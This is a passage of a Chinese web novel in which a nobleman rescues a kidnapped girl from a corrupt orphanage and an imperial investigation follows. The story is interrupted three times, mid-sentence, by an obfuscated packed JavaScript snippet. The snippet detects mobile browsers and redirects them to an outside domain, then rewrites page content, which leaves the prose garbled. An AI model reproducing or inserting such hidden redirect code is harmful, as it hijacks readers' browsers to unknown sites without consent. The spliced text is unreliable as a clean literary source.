“三毛哥，他看起来不像是坏人。” “坏人可不会在脸上写字。” 三毛咬着牙，还是将其他人都护在身后。 “你们是被这里收留的，还是被拐来的？”楚砚寒知道，想要获得信任，不急于一时。 在这里死去的孩子，绝对不止小豆苗一个。 他们对外人抱有警惕心，是好事。 “我！” 有一个孩子举起手来：“我是被一个大婶带来的！是我娘找我了吗？” 他说着就哭了起来。 被围拢在中间的那小女孩伸出胳膊拍了拍那小孩儿的背：“哥哥不哭……” 有人开了口，便也有人符合着，三三两两说了几个。 其中一个孩子还说：“我听到他们说，拐一个孩子过来，能得到十个铜板。” 十个铜板？ 就买下了这些孩子的命？ 楚砚寒从没想过自己会这么气愤，他闭了闭眼平息自己的心情。 恤孤院到底在做什么，竟然要这么多的孩子？ “你是来买奴仆的吗？”三毛忽然开口。 他是一个对情绪感知十分敏感的人，在这里，他是年纪最大的，也是护着所有孩子的“大哥”。 他不敢贸然相信别人，因为他的决定，关乎着许多孩子的生死。 常年的察言观色，让他没有错过楚砚寒眼中的愤怒。 也许……这个人真的不是坏人。 “这里还做买卖奴仆的生意？”楚砚寒讶异。 京城中有专门的人牙子，手里捏着不少小厮丫鬟的资源，为何还要从这里买卖？ “罢了。”楚砚寒吐出一口气。 这背后之人，借着国家的资源，背地里不知道做了什么肮脏的事，这些孩子也不一定知道得太深太细。 “我一定会带你们离开这里，回家。” 回家两个字一出来，不少孩子都流下了眼泪，但他们全都乖乖的，一个都没有发出声音。 “时间不早了，每一个时辰，这里就会有人来巡逻。” 三毛一咬牙，将小荷拎了出来，交到楚砚寒手上：“如果可以，请你先带她回家。” 小荷懵懵懂懂地看着楚砚寒，被楚砚寒身上的气势吓到，又想退，又觉得三毛哥哥不会害自己，犹犹豫豫站在那里。 他看向那个被护得很好的小姑娘：“你叫小荷，是吗？” 小荷睁着自己大大的眼睛，怯怯地点了点头。 “你爹，可是姓林？”楚砚寒不好多说，视线在她手指撇过了一眼。 那是一个成色不错的玉扳指，不知道小荷怎么留下来的。 这扳指在烛光里呈现出温润的光泽，隐约看去，能看见一个小小的荷花团。 那是翰林大学士林家的族徽。 好在这小姑娘看着年纪小小，却冰雪聪明，在听见楚砚寒如此说，眼眸瞬间瞪大。 她瘪了瘪嘴，似哭非哭，强忍着点点头：“是我爹爹叫你来的吗？” “小荷乖，你爹爹现在还不知道你在哪里，我带你去找你爹爹好不好？” 小荷猛地扑上去，抱住了楚砚寒。 楚砚寒将她抱起来，对上了一群小孩儿充满期待和激动的眼睛。 有一个小孩儿抹了把眼睛，道：“只要小荷能回家，我就是死在这里也值了！” “说的什么傻话！给我呸掉！有我在，要死也轮不到你们！” 三毛呵斥了一句，又镇重地对楚砚寒道了谢，接着，便催促楚砚寒快走：“我们会想办法拖延时间。” “除了拖延时间，我还需要一样东西，”楚砚寒看着三毛：“小兄弟，请你务必统计清楚，这里到底有多少孩子是被拐子拐来的。” “我会做到的。”三毛重重一点头。 楚砚寒带着小荷一路出了恤孤院，守在外面的亲信见他抱着个孩子出来，立刻傻眼：“主子！您怎么直接把孩子带出来了！” “你们先回去，告诉父王和我嫂子。” 楚砚寒说完，带着小荷先走一步。 他去了西街一处院落，用小石子敲响了主人家的窗户。 没一会儿，翰林院大学士林修为就披了衣服，拉开门出来。 他正疑惑什么声音，脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770092|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下忽然踢到个东西，叮叮当当响了一路。 他定睛一看，连忙去将那东西捡起来，却是一枚玉扳指，上面还刻着一个小小的荷花团。 林修为眼睛陡然瞪大，嘴唇颤抖，喉咙里哽咽得说不出话来，扯着衣服一路狂奔，跑到了小女儿的房间，推开门，却见一粉妆玉琢的小姑娘正睡在床上，睡得正香。 林修为泪如雨下。 他捂着自己的嘴，从房间里退出来，正思索到底是谁将他女儿送了回来，就见院子里站着个长身玉立的青年。 那人抬起头，勾唇笑道：“林大人，楚某不请自来，还请林大人见谅。” “楚世子？” 林修为愣了一会儿，看看身后闺女的房间，又看看楚砚寒老神在在的模样，眼中的迷茫一点点被精明和清醒取代。 “是你将小荷送回来的。” 楚砚寒只是笑笑没有说话，林修为抓了抓衣服，沉声道：“还请世子跟我来。” 他带着楚砚寒去了自己的书房，一进去，就开门见山道：“楚世子恩情，林某这辈子都会谨记在心。” “我只是正好看见了令爱。”楚砚寒却摇摇头：“令爱走失这些时间，还能这样完好无损地回来，林大人的确要些一些人，不过，不是我。” “哦？林某愿闻其详。” 林修为给楚砚寒道了茶，楚砚寒从缓缓生腾的水汽里，掀起眼皮：“不知林大人可知道，京郊那座恤孤院？” “楚世子的意思，小荷这些天都在那里？” “没错，那里有不少孩子，他们对小荷很照顾。” 大概是之前小豆苗死亡带来的阴影和愧疚，这些孩子们，对小荷带着天然，不夹带一丝阴霾的呵护。 林修为讶然。 那是一个收养孤儿的地方，由国库直接拨款，有了小荷以后，他和夫人每年还会往里面捐一点。 若是有人在五年前捡到小荷，把小荷送去恤孤院，尚有一两分可能。 但小荷现在不是不会说话的小婴孩，不是不知道回家的路，不可能会被人带去恤孤院才是。 他脸色渐渐沉了下来：“小荷，为何会到那里去。” 第六十三章 何止** “这就说来话长了。” “无妨，现在小荷回来，林某，最不缺的，就是时间了。” 楚砚寒从对方眼里看到一丝冰冷，心中了然，便将恤孤院的事情简单说了一遍。 林修为扯了扯嘴角：“没想到，天子脚下，竟然藏着这样一窝罪恶之地。” “是啊，如此光明正大。”楚砚寒也十分感慨。 他们家现在没有这样总角的孩子，也不会去干这些恶心人的勾当，对这些事情自然完全不知情。 若不是鱼若抖落出来，这些人不知道还要祸害多少人家。 “楚兄你放心，我今夜便写上奏折，将此事禀名圣上！” 林修为说干就干，立刻就要研墨。 楚砚寒道：“我们已经放出了风声，想来等天一亮，街上就要传开恤孤院的事情了，林大人不妨从此开口。” 这样，就将小荷被拐一事给遮掩过去。 林修为知道这是楚砚寒的好心，他抱了抱拳，道：“大恩不言谢，这份恩情，来日我林家必报！” 楚砚寒同来时一样，又悄无声息地离开了林家，回到王府，却见东苑尚且点着灯。 他叫来墨白：“嫂子那边？” 墨白不知道这两人发生了什么事情，之前还叫清冷，怎么忽然又叫起嫂子来……大概是主子们的情趣吧。 他挠了挠头：“少夫人说要等世子回来呢。” 楚砚寒心中怦然一跳，只来得及摆摆手，就往东苑去了。 洛清泠担心楚砚寒的安危，见到人，又好生问了一遍恤孤院的情况，楚砚寒的情况，还有那个孩子的情况。 知道一切尘埃落地，才松了口气：“我只是担心那些孩子，能不能撑住。” “我已经安排了人。”楚砚寒道：“等天一亮，就会有许多‘看热闹’的人，听了流言，要过去讨要说法。” 这些年恤孤院虽然有国库直接拨款，但也不拒各界的善款，不少人都往里头捐了钱财，忽然一听说里头有猫腻，他们捐的每一分钱，不但没有拿来改善那些孩子们的生活，反而成为了更多无辜孩子头上悬着的闸刀，怎么可能不愤怒。 “有了这些人冲击，想来恤孤院不会那么容易对孩子们出手。” “这就好。” 翌日。 金銮殿上。 云福公公唱道：“有事起奏——无事退朝——” “臣有事奏！” 林修为举着白玉笏，脸色冰冷：“陛下！臣昨日和今晨，听到街上百姓流传恤孤院借着陛下的善心，大举揽财，**无辜孩子的事！如此消遣之事，臣以为，应该严查！” “一点小小的流言，就将林大人吓得这般警惕，莫不是最近找自己女儿找疯了不成？” 有人嘲讽道。 林修为看过去，淡然道：“崔大人，饭可以乱吃，话可不能乱说，我家闺女这几日只是偶感风寒，在家调养罢了。” 皇帝却对这件事起了疑心，让其他人住嘴，听林修为说话。 林修为便将自己打听来的消息一五一十说了，期间好几个文官站起来进行补充。 皇帝听后大怒：“恤孤院是民生工程，谁敢拿这样的事做文章！崔厉！当初朕可是将恤孤院交给你在管，你就是这么管的？” 崔厉是工部尚书，听到皇帝点名，冷汗都下来了，噗通一声跪下：“陛下明察！这也不过是一些市井流言，现在尚未知道真假……” “呵，话说无风不起浪，恤孤院到底有没有猫腻，一查便知！若是真有猫腻，将这主谋抓出来，换恤孤院一个好名声也好，若是有人信口胡说，也好抓出来，严加拷问到底有何目的！” “林卿说得在理。” 皇帝点点头：“朕开设的工程，决不许有蛀虫在其中作怪！林卿，朕命你为巡院大臣，将全国恤孤院都给朕查清楚！” 巡院大臣，查全国恤孤院，这是将林修为提拔了个钦差大臣的官儿，若是办的好，日后前途不可限量。 “尤其是京郊这个！” 皇帝点了点桌子：“要让朕知道这背后到底是谁在搞鬼，决不轻饶！” 崔厉到吸一口凉气，知道皇帝这是认了真了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770093|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林修为就是个棒槌，这么些年守着个大学士的位置，不升不降，却因为这件事忽然被皇帝重用了。 就算林修为想要挣个前途，也必然会把这件事办得漂漂亮亮的，绝对不会隐瞒包庇。 他心中做好盘算，立刻道：“恭喜林大人了啊。” 林修为白了他一眼：“若是恤孤院无辜，臣宁愿不要这一声恭喜！” 把崔厉堵得难受得不行，只能道：“若是林大人有任何需要，只管来问我，我们绝对配合林大人工作。不过我手里管的事情不少，这恤孤院现在是侍郎管着，林大人有什么问题，便问问他。” 何尚书站在一旁，眼皮直抽抽。 工部侍郎——那不是他儿子是谁？ 崔厉这意思，分明就是要撇清关系，就算恤孤院查出东西，也是因为这个工部侍郎中饱私囊造成的！ 林修为办事风风火火，不到半日，就有一本折子呈现在了皇帝案头。 皇帝打开翻了翻，冷笑着支在地上：“好一个何止，好一个何止啊！” 云福公公捡起折子，三两眼瞥了里头的东西，震撼得心头都掀起了浪。 “这就是朕的好官！中饱私囊，挪用**！还要怪户部不给他拨银子！” “陛下当心气坏了身体，”云福公公捧上茶盏，思索道：“若是恤孤院当真有猫腻，这背后只怕不止一个工部侍郎这么简单。” “哼，他还没有那么大的本事！” “依奴才所见，若是有这样败坏陛下清誉的事情，只一个林大人，只怕是啃不下这些因骨头。” 皇帝也在思索这些问题。 林修为在实政上的人脉到底浅薄了一些，朕要查，只怕不方便。 “去告诉乔明朗，务必协助办案，将京郊恤孤案彻底查清！” 云福公公领命去了，一并发布的，还有何止的处置结果。 这一公布，全京城顿时沸腾了！ 从昨日流言传出，到今日就有大官**，无疑是在传出一个消息，朝廷是真真将他们放在心上，在做事的！ 第六十四章 陛下隆恩 楚砚寒回来告知时，洛清泠心放下大半。 “不过现在风声吃紧，我们掌握的消息不算多，只是推翻一个恤孤院不难，难得是将那些为了十个铜板，就去拐卖孩子的人全部绳之以法。” “嫂子放心，陛下已经命乔大人一并参与其中，父王也会暗中关注，有平西王府的势力参与，那些拐子，跑不掉的。” “既然如此，那我们就去恤孤院走一趟吧。” 洛清泠笑了笑，眼中全是冷意。 “我陪你。”楚砚寒紧跟着接了一句，见洛清泠看过来的眼神，又解释道：“恤孤院那边虽然不足为据，但只怕他们狗急跳墙，遇到危险什么的……” 他声音越来越小，最后紧紧抿着唇不说了。 洛清泠不由得心中一软，笑着点头道：“好，多谢世子。” 平西王府开始准备东西送去恤孤院的事情并没有隐瞒，消息不胫而走，等洛清泠带着东西去的时候，夹道都是百姓围观。 何琳琅坐在一侧茶楼上，看着下面热闹的场面，冷哼一声。 “她倒是贯会做这些表面功夫，现在恤孤院风声这么紧，她还敢往前凑，像是生怕查不到自己身上来似的。” 何琳琅见路过的马车数量不对，认出里头还有楚砚寒的，顿时目露嘲讽：“那楚世子也不知是不是昏了头，竟然还陪着胡闹，这平西王府，迟早完蛋！” 刚说完，忽然看见一老者从人群中走出，拦在了马车前。 何琳琅笑了。 树大招风，洛清泠，你的麻烦来了。 她好整以暇地看着，没想到那老者却颤巍巍地要跪。 “恤孤院幕后之人有罪，但孩子无辜，如今楚少夫人愿意在这样紧要的关头关心孩子们，草民替他们谢谢贵人们！” 说着就要跪下，鱼若连忙将人扶住，洛清泠道：“老人家，你这是何必呢？你也说了，孩子们无辜，他们才是这次事件里的受害者，我也不过是略尽绵薄之力罢了。” “楚少夫人是好人！” 有人喊了一句，也从人群里出来，塞了个自家才结的新鲜瓜果到鱼若手里：“现在那些人全都风声鹤唳，深怕自己和恤孤院扯上关系，只有楚少夫人这样真心为孩子们想的人才愿意出手，楚少夫人是好人！” 有了人领头，立刻就有人效仿，不一会儿鱼若就被塞了不少东西，有瓜有菜，她接也不是不接也不是，无奈地看着洛清泠。 洛清泠想了想，道：“大家都是有心人，这些礼物，我就拖大，替大家收了，一并送去恤孤院。” 鱼若顿时松了口气，将东西全都放进了后面的马车里，还有人想要送东西的，也全都送到后面去了。 洛清泠道：“恤孤院是陛下的一片苦心，我们作为陛下臣子百姓，自然不愿意看见这样的皇恩被恶人消耗，只希望尽快查出这幕后黑手。” “陛下仁义！” “是啊，咱们的陛下是真的好啊，这些民生政策，全都是落实到咱们每个人身上的，今年还又削减了徭役……” “陛下万岁！” “……” 洛清泠也跟着向皇宫方向行礼磕头，不少百姓接二连三地跟着跪下来，场面震撼又壮观。 消息被传回皇宫时，皇帝正看着林修为回复的折子发愁。 “陛下！陛下！” 云福公公满脸喜气，对皇帝耳语几句，皇帝紧皱的眉头微微一松：“你是说，这都是洛清泠引起的？” “楚少夫人领头呢，据说那条街上的百姓全都对着皇宫磕头，足足跪了半盏茶的功夫呢！” “哼。” 皇帝轻笑一声，又看了一眼折子，心中已经有了计较。 不多时，一张新的告示就贴上了京兆尹府衙的告示牌上。 何止不但被撤了官，还挨了一顿板子，工部尚书被罚俸半年，户部也因为监管失责，一大批官员相继被罚。 百姓欢呼雀跃，一边又狠狠地唾骂这些烂官。 洛清泠则是已经和楚砚寒去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770094|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恤孤院，恤孤院的管事等人已经被带走，林修为也派人暂时接手了恤孤院的管理，只等后面查清楚，在等皇帝派人正式接管。 三毛等人似乎没想到仅仅只是一夜，就变了天，看见楚砚寒和洛清泠进入院子时，这个一直警惕冷静的小少年顿时就哭了起来。 他认出了楚砚寒，也知道他完成了对他们的承诺。 但他是个心思玲珑的孤儿，并没有直接和楚砚寒打交道，只是看见他和林修为说话后，便默默将自己统计的名单交给了林修为。 不过三毛不会写字，上面都是些每个孩子的记号。 林修为已经知道是三毛护着小荷，摸了摸他的头，收下那张名单：“好孩子，等恤孤院事了，你可愿随我回家？” 这边其乐融融，皇宫之中的氛围却格外凝重。 今日一整天，不断有折子被送往宫中，不断有官员被传唤，不断有官员被处置，没想到，快到卯时时，皇宫大门打开，却是二皇子宋文轩匆匆进了宫。 宫人都知道今天这些人所谓何事，见到二皇子冷沉的背影，对视一眼，心照不宣地低下了头。 没想到……二皇子看着人模狗样的，却和这样的事情搅合在了一起。 没人知道皇帝和二皇子说了什么，宋文轩离开皇宫时脸色更冷，据说回去之后就发了好大一通脾气。 宋文轩是被户部攀咬出来的，哪怕他自己不认，但也在皇帝面前挂上了号，不少事情原本打算安排给他做的，皇帝也临时换了人，只将二皇子打发到闲职上去了。 “父皇这分明就是不信我了！” 宋文轩眼角直抽：“到底是谁害我！” 门客将门掩上，低声道：“殿下，从昨日事情一出来，我们就上街暗访了一圈，这件事——只怕是平西王府牵扯出来的。” “平西王府不好好守着自己的一亩三分地，搞我做什么。”宋文轩冷笑：“怎么，打算给他那废物儿子铺路不成？可这件事最后不是交给了林修为去办吗。”